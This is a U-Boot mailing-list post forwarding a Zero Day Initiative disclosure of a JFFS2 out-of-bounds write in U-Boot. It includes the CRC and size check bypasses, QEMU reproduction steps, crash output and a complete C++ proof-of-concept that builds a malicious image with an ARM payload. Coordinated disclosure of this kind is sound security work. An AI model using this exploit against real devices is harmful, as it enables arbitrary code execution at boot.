[zdi-disclosures at trendmicro.com: ZDI-CAN-24679: New Vulnerability Report]
Tom Rini
trini at konsulko.com
Fri Jul 26 00:46:39 CEST 2024
I'm re-sending this to the list as I think I might have inadvertently
dropped it in the mailing list filters.
----- Forwarded message from "zdi-disclosures at trendmicro.com" <zdi-disclosures at trendmicro.com> -----
Date: Thu, 18 Jul 2024 20:04:42 +0000
From: "zdi-disclosures at trendmicro.com" <zdi-disclosures at trendmicro.com>
To: "u-boot at lists.denx.de" <u-boot at lists.denx.de>, "trini at konsulko.com" <trini at konsulko.com>
Subject: ZDI-CAN-24679: New Vulnerability Report
The attachment could not be scanned for viruses because it is a password protected file.
ZDI-CAN-24679: Das U-Boot JFFS2 Image Handling Out-Of-Bounds Write Local Privilege Escalation Vulnerability
-- CVSS -----------------------------------------
8.2: AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:
Das U-Boot - Das U-Boot
-- VULNERABILITY DETAILS ------------------------
* Version tested: 2024.07-rc4
* Installer file: N/A
* Platform tested: QEMU
---
### Analysis
Das U-Boot versions from 2002_11_05_0120 to v2024.07-rc4 are vulnerable to an arbitrary code execution attack. This vulnerability exists due to an unchecked memcpy function used when processing a JFFS2 filesystem image. An attacker could exploit this by crafting a malicious JFFS2 image that tricks memcpy into overwriting memory at an arbitrary offset with malicious code. This could result in the attacker executing arbitrary code on the system or causing other memory corruption issues.
The parsing of JFFS2 filesystem in Das U-Boot is handled by the `jffs2_1pass_read_inode()` function defined in `fs/jffs2/jffs2_1pass.c`. ( https://github.com/qemu/u-boot/blob/master/fs/jffs2/jffs2_1pass.c )
At line 777 of this file, there is a statement for memory copy:
```
ldr_memcpy(lDest, src, jNode->dsize);
```
The first two arguments for memcpy are assigned as:
At line 770: `lDest = (uchar *) (dest + jNode->offset);`
At line 755 and 756: `src = ((uchar *)jNode) + sizeof(struct jffs2_raw_inode);`
As shown above, the source, destination, and size of the memcpy are controlled by an attacker and its following content, and Das U-boot does not properly check these arguments.
Although Das U-Boot does have some checks on the content of inodes, these checks can be easily bypassed:
At line 758, it checks if `JNode->offset > totalSize`, but totalSize is assigned as totalSize = jNode->isize at line 714. Therefore, this check can be bypassed by setting `JNode->isize` to 0xFFFFFFFF.
At lines 763, it also checks the CRC, but this check can be bypassed by setting both `JNode->csize` and `JNode->data_crc` to 0.
### Proof of Concept
To prove the concept, we created a small program that generates a specially crafted JFFS2 filesystem image. We then used QEMU to demonstrate the potential risk of this vulnerability. The Das U-Boot, when reading the specially crafted filesystem image, writes content given by us to a memory location specified by us, causing the system to crash. We have tested this in Ubuntu 14.04. Follow the following instructions to set up the environment and conduct the PoC test.
- Install QEMU for MINI2440:
```
sudo apt-get install git git-core
cd ~
mkdir mini2440_qemu/
cd mini2440_qemu
git clone git://repo.or.cz/qemu/mini2440.git qemu
cd qemu
./configure --target-list=arm-softmmu --prefix=$HOME/workspace/mini2440_qemu/qemu/mini2440
make
make install
export PATH=$HOME/workspace/mini2440_qemu/qemu/mini2440/bin:$PATH
git clone https://github.com/WeitaoZhu/mini2440-buildroot.git
cd mini2440-buildroot
make mini2440_defconfig
make menuconfig
```
- Modify Filesystem images to NAND flash with 512B Page and 16 kB erasesize
```
make -j4
cd ~
git clone https://github.com/cailiwei/flashimg
cd flashimg
./autogen.sh
./configure
make
cp ~/workspace/mini2440_qemu/mini2440-buildroot/output/images/u-boot.bin ~/flashimg
g++ poc.cpp -o poc
./poc
echo -e "root\t0x4000\t0x00000000">part.txt
./flashimg -s 64M -t nand -f nand.bin -p part.txt -w root,test -z 512
qemu-system-arm -M mini2440 -serial stdio -mtdblock nand.bin -usbdevice mouse
```
- In QEMU, type the following commands:
```
fsload
ls
go 0x32700000
```
- The output should look like the following
```
MINI2440 # fsload
### JFFS2 loading 'uImage' to 0x32000000
Scanning JFFS2 FS: . done.
load: Failed to read inode
### JFFS2 LOAD ERROR<0> for uImage!
MINI2440 # go 0x32700000
## Starting application at 0x32700000 ...
qemu: fatal: Trying to execute code outside RAM or ROM at 0x12345678
R00=00000001 R01=33d5fb70 R02=00000041 R03=00000006
R04=33d5fb70 R05=00000002 R06=32700000 R07=00000000
R08=33d5ffdc R09=00000001 R10=00000000 R11=33d5fbfd
R12=00000020 R13=33d5fb4c R14=33f8c4e8 R15=12345678
PSR=600001d3 -ZC- A svc32
Aborted (core dumped)
```
Note: R15 is $pc and it has been modified to 0x12345678
poc.cpp:
```c
#include <stdio.h>
#include <stdlib.h>
#include <cstdint>
#include <cstring>
#include <string.h>
#include <ctype.h>
#include <sys/stat.h>
using namespace std;
#define JFFS2_MAGIC_BITMASK 0x1985
#define JFFS2_NODE_ACCURATE 0x2000
#define JFFS2_FEATURE_INCOMPAT 0xC000
#define JFFS2_FEATURE_RWCOMPAT_DELETE 0x0000
#define JFFS2_NODETYPE_DIRENT (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 1)
#define JFFS2_NODETYPE_INODE (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 2)
#define JFFS2_NODETYPE_CLEANMARKER (JFFS2_FEATURE_RWCOMPAT_DELETE | JFFS2_NODE_ACCURATE | 3)
enum
{
DT_UNKNOWN = 0,
# define DT_UNKNOWN DT_UNKNOWN
DT_FIFO = 1,
# define DT_FIFO DT_FIFO
DT_CHR = 2,
# define DT_CHR DT_CHR
DT_DIR = 4,
# define DT_DIR DT_DIR
DT_BLK = 6,
# define DT_BLK DT_BLK
DT_REG = 8,
# define DT_REG DT_REG
DT_LNK = 10,
# define DT_LNK DT_LNK
DT_SOCK = 12,
# define DT_SOCK DT_SOCK
DT_WHT = 14
# define DT_WHT DT_WHT
};
uint32_t crc32(unsigned char* ptr,uint32_t Size)
{
uint32_t crcTable[256],crcTmp1;
for (int i=0; i<256; i++)
{
crcTmp1 = i;
for (int j=8; j>0; j--)
{
if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;
else crcTmp1 >>= 1;
}
crcTable[i] = crcTmp1;
}
int32_t crcTmp2= 0;
while(Size--)
{
crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF ];
ptr++;
}
return (crcTmp2^0xFFFFFFFF)^0xFFFFFFFF;
}
struct Jffs2_unknown_node
{
int16_t magic;
int16_t nodetype;
int32_t totlen;
int32_t hdr_crc;
};
struct Jffs2_raw_dirent
{
int16_t magic;
int16_t nodetype;
int32_t totlen;
int32_t hdr_crc;
int32_t pino;
int32_t version;
int32_t ino;
int32_t mctime;
int8_t nsize;
int8_t type;
int8_t unused[2];
int32_t node_crc;
int32_t name_crc;
};
struct Jffs2_raw_inode
{
int16_t magic;
int16_t nodetype;
int32_t totlen;
int32_t hdr_crc;
int32_t ino;
int32_t version;
int32_t mode;
int16_t uid;
int16_t gid;
int32_t isize;
int32_t atime;
int32_t mtime;
int32_t ctime;
int32_t offset;
int32_t csize;
int32_t dsize;
int8_t compr;
int8_t usercompr;
int16_t flags;
int32_t data_crc;
int32_t node_crc;
};
int main(void)
{
//PAYLOAD CONFIG
char TARGET_FILENAME []= "uImage";
uint32_t TARGET_OFFSET = 0x700000;
uint32_t TARGET_LENGTH = 0x8;
unsigned char PAYLOAD[]= "\x04\xf0\x1f\xe5\x78\x56\x34\x12"; //ldr $pc,0x12345678
//
FILE *fp = fopen("poc.jffs2","wb");
uint16_t padding = 0xFFFF;
Jffs2_unknown_node node;
node.magic = JFFS2_MAGIC_BITMASK;
node.nodetype = JFFS2_NODETYPE_CLEANMARKER;
node.totlen = sizeof(node);
node.hdr_crc = crc32((unsigned char*)&node,sizeof(Jffs2_unknown_node)-4);
fwrite(&node,1,sizeof(node),fp);
Jffs2_raw_dirent dirent;
dirent.magic = JFFS2_MAGIC_BITMASK;
dirent.nodetype = JFFS2_NODETYPE_DIRENT;
dirent.totlen = sizeof(dirent)+strlen(TARGET_FILENAME);
dirent.hdr_crc = crc32((unsigned char*)&dirent,sizeof(Jffs2_unknown_node)-4);
dirent.pino = 1;
dirent.version = 0;
dirent.ino = 2;
dirent.mctime = 0;
dirent.nsize = strlen(TARGET_FILENAME);
dirent.type = DT_REG;
dirent.unused[0] = 0;
dirent.unused[1] = 0;
dirent.mctime = 0;
dirent.node_crc = crc32((unsigned char*)&dirent,sizeof(Jffs2_raw_dirent)-8);
dirent.name_crc = crc32((unsigned char*)TARGET_FILENAME,strlen(TARGET_FILENAME));
fwrite(&dirent,1,sizeof(dirent),fp);
fwrite(TARGET_FILENAME,1,strlen(TARGET_FILENAME),fp);
fwrite(&padding,1,sizeof(padding),fp);
Jffs2_raw_inode inode;
inode.magic = JFFS2_MAGIC_BITMASK;
inode.nodetype = JFFS2_NODETYPE_INODE;
inode.totlen = sizeof(inode)+sizeof(PAYLOAD)-1;
inode.hdr_crc = crc32((unsigned char*)&inode,sizeof(Jffs2_unknown_node)-4);
inode.ino = 2;
inode.version = 1;
inode.mode = 0x81A4;
inode.uid = 0;
inode.gid = 0;
inode.isize = 0xFFFFFFFF; //bypass size limit
inode.atime = 0;
inode.mtime = 0;
inode.ctime = 0;
inode.offset = TARGET_OFFSET;
inode.csize = 0; //bypass crc32 check
inode.dsize = TARGET_LENGTH;
inode.compr = 0;
inode.usercompr = 0;
inode.flags = 0;
inode.data_crc = 0; //bypass crc32 check
inode.node_crc = crc32((unsigned char*)&inode,sizeof(Jffs2_raw_inode)-8);
fwrite(&inode,1,sizeof(inode),fp);
fwrite(&PAYLOAD,1,sizeof(PAYLOAD)-1,fp);
fwrite(&padding,1,sizeof(padding),fp);
fclose(fp);
return 0;
}
```
-- CREDIT ---------------------------------------
This vulnerability was discovered by:
Aaron Luo and Spencer Hsieh of VicOne
-- FURTHER DETAILS ------------------------------
Supporting files:
If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.
Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:
Zero Day Initiative
zdi-disclosures at trendmicro.com
The PGP key used for all ZDI vendor communications is available from:
http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc
-- INFORMATION ABOUT THE ZDI --------------------
Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.
Please contact us for further details or refer to:
http://www.zerodayinitiative.com
-- DISCLOSURE POLICY ----------------------------
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
TREND MICRO EMAIL NOTICE
The information contained in this email and any attachments is confidential and may be subject to copyright or other intellectual property protection. If you are not the intended recipient, you are not authorized to use or disclose this information, and we request that you notify us by reply mail or telephone and delete the original message from your mail system.
For details about what personal information we collect and why, please see our Privacy Notice on our website at: Read privacy policy<http://www.trendmicro.com/privacy>
----- End forwarded message -----
--
Tom
-------------- next part --------------
A non-text attachment was scrubbed...
Name: ZDI-CAN-24679.zip
Type: application/x-zip-compressed
Size: 2681 bytes
Desc: ZDI-CAN-24679.zip
URL: <https://lists.denx.de/pipermail/u-boot/attachments/20240725/9e90af47/attachment.bin>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 659 bytes
Desc: not available
URL: <https://lists.denx.de/pipermail/u-boot/attachments/20240725/9e90af47/attachment.sig>
More information about the U-Boot
mailing list